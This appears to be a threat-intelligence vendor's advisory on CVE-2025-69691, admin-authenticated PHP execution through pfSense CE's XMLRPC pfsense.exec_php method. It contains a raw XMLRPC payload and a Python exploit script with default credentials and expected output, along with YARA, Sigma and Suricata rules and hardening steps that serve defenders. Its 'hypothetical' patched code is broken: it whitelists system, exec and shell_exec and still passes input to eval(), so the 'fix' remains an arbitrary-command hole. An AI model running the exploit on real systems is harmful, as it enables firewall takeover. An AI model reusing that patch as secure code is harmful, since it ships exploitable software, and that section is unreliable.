CVE-2025-69691
Executive Summary
CVE-2025-69691 is a critical vulnerability in Netgate pfSense CE version 2.8.0, specifically within the XMLRPC API. The flaw allows authenticated administrators to execute arbitrary PHP code via the pfsense.exec_php API call. While the supplier disputes this as a vulnerability—arguing that administrators are intentionally allowed to execute PHP code—the CVSS score of 9.9 reflects the severe impact of privilege escalation, lateral movement, and full system compromise if an attacker gains admin credentials. The vulnerability is unpatched as of the latest advisory, and no official patch is available. Given the high privileges required, the primary threat vector is through credential theft, social engineering, or insider threats.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core feature of the pfSense CE firewall distribution. The risk lies in the default configuration allowing PHP execution via XMLRPC, which could be abused if admin credentials are compromised.
CVSS Breakdown & Threat Level
- CVSS Score: 9.9 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin authentication
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. Although exploitation requires admin privileges, the impact is total system compromise. Attackers can execute arbitrary PHP, leading to data exfiltration, malware deployment, or pivoting to internal networks.
Deep Dive & Mechanics
The vulnerability resides in the XMLRPC API endpoint of pfSense CE 2.8.0. The pfsense.exec_php method is designed to allow administrators to execute PHP code for legitimate administrative tasks. However, this functionality is exposed over the network without additional safeguards beyond authentication. An attacker with valid admin credentials can craft an XMLRPC request containing arbitrary PHP code, which the server executes with the privileges of the web server (typically www).
Key Mechanics:
- The XMLRPC endpoint is typically accessible at
/xmlrpc.phpor similar. - The
pfsense.exec_phpmethod accepts acodeparameter. - The server evaluates the PHP code using
eval()or similar functions. - No input sanitization or sandboxing is applied.
Attack Scenario:
- Attacker obtains admin credentials (via phishing, brute force, or credential stuffing).
- Attacker sends a POST request to the XMLRPC endpoint with a payload like:
<?xml version="1.0"?> <methodCall> <methodName>pfsense.exec_php</methodName> <params> <param> <value><string>system('id');</string></value> </param> </params> </methodCall> - The server executes the PHP code and returns the output.
Vulnerable vs. Patched Code
Vulnerable Code (pfSense CE 2.8.0): The XMLRPC handler directly evaluates user-supplied PHP code without restrictions:
// In xmlrpc.php or similar
function pfsense_exec_php($params) {
$code = $params[0];
ob_start();
eval($code);
$output = ob_get_clean();
return $output;
}
Patched Code (Hypothetical): A secure implementation would restrict the allowed functions or require additional authorization:
function pfsense_exec_php($params) {
// Whitelist allowed functions
$allowed_functions = ['exec', 'shell_exec', 'system'];
$code = $params[0];
// Parse and validate code
if (!preg_match('/^(system|exec|shell_exec)\(/', $code)) {
return new xmlrpcresp(0, 3, 'Function not allowed');
}
// Additional MFA check
if (!validate_mfa()) {
return new xmlrpcresp(0, 3, 'MFA required');
}
ob_start();
eval($code);
$output = ob_get_clean();
return $output;
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- pfSense CE 2.8.0 instance
- Valid admin credentials (e.g.,
admin:pfsense)
Exploit Script (Python):
import requests
import xml.etree.ElementTree as ET
target = "http://192.168.1.1/xmlrpc.php"
username = "admin"
password = "pfsense"
# Build XMLRPC payload
def build_payload(php_code):
root = ET.Element("methodCall")
method_name = ET.SubElement(root, "methodName")
method_name.text = "pfsense.exec_php"
params = ET.SubElement(root, "params")
param = ET.SubElement(params, "param")
value = ET.SubElement(param, "value")
string = ET.SubElement(value, "string")
string.text = php_code
return ET.tostring(root, encoding="unicode")
# Execute command
php_code = "system('id');"
payload = build_payload(php_code)
response = requests.post(target, data=payload, auth=(username, password))
print(response.text)
Expected Output:
<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><string>uid=80(www) gid=80(www) groups=80(www)</string></value>
</param>
</params>
</methodResponse>
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor XMLRPC endpoint access logs for unusual POST requests.
- Alert on
pfsense.exec_phpmethod calls from non-admin IPs. - Implement rate limiting on the XMLRPC endpoint.
Hardening:
- Disable XMLRPC if not needed:
System > Advanced > Disable XMLRPC. - Restrict XMLRPC access to trusted IPs via firewall rules.
- Enforce multi-factor authentication (MFA) for admin accounts.
- Monitor for credential stuffing attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/xmlrpc.phpwithpfsense.exec_phpin the body. - XML payloads containing
system(),exec(),shell_exec(), oreval(). - Outbound connections from pfSense to unknown IPs (C2).
File IOCs:
- Unauthorized PHP files in
/usr/local/www/or/tmp/. - Modified
/etc/inc/xmlrpc.incor similar files.
Log IOCs:
system()calls in PHP error logs.- XMLRPC authentication logs showing repeated admin logins.
Detection Engineering
YARA Rule
rule CVE_2025_69691_XMLRPC_PHP_Exec {
meta:
description = "Detects XMLRPC requests attempting to exploit CVE-2025-69691"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69691"
strings:
$xml_method = "pfsense.exec_php"
$php_func1 = "system("
$php_func2 = "exec("
$php_func3 = "shell_exec("
$php_func4 = "eval("
condition:
$xml_method and any of ($php_func*)
}
Sigma Rule
title: CVE-2025-69691 XMLRPC PHP Execution
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-69691 via XMLRPC
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/xmlrpc.php'
cs-body|contains: 'pfsense.exec_php'
condition: selection
falsepositives:
- Legitimate admin usage (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69691 XMLRPC PHP Execution Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/xmlrpc.php"; http_uri; content:"pfsense.exec_php"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable XMLRPC if not required: Navigate to
System > Advanced > Disable XMLRPC. - Restrict access to the XMLRPC endpoint via firewall rules (allow only trusted IPs).
- Enforce strong passwords and MFA for all admin accounts.
- Monitor logs for suspicious XMLRPC activity.
Long-Term Fix:
- Apply vendor patch when available (currently UNKNOWN).
- Consider upgrading to a version where XMLRPC is disabled by default or requires additional authorization.
- Implement a Web Application Firewall (WAF) rule to block
pfsense.exec_phprequests.
Workaround:
- Modify the XMLRPC handler to require a secondary token or IP whitelist.
Valters IT
DevSecOps & Cyber Threat Intelligence
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.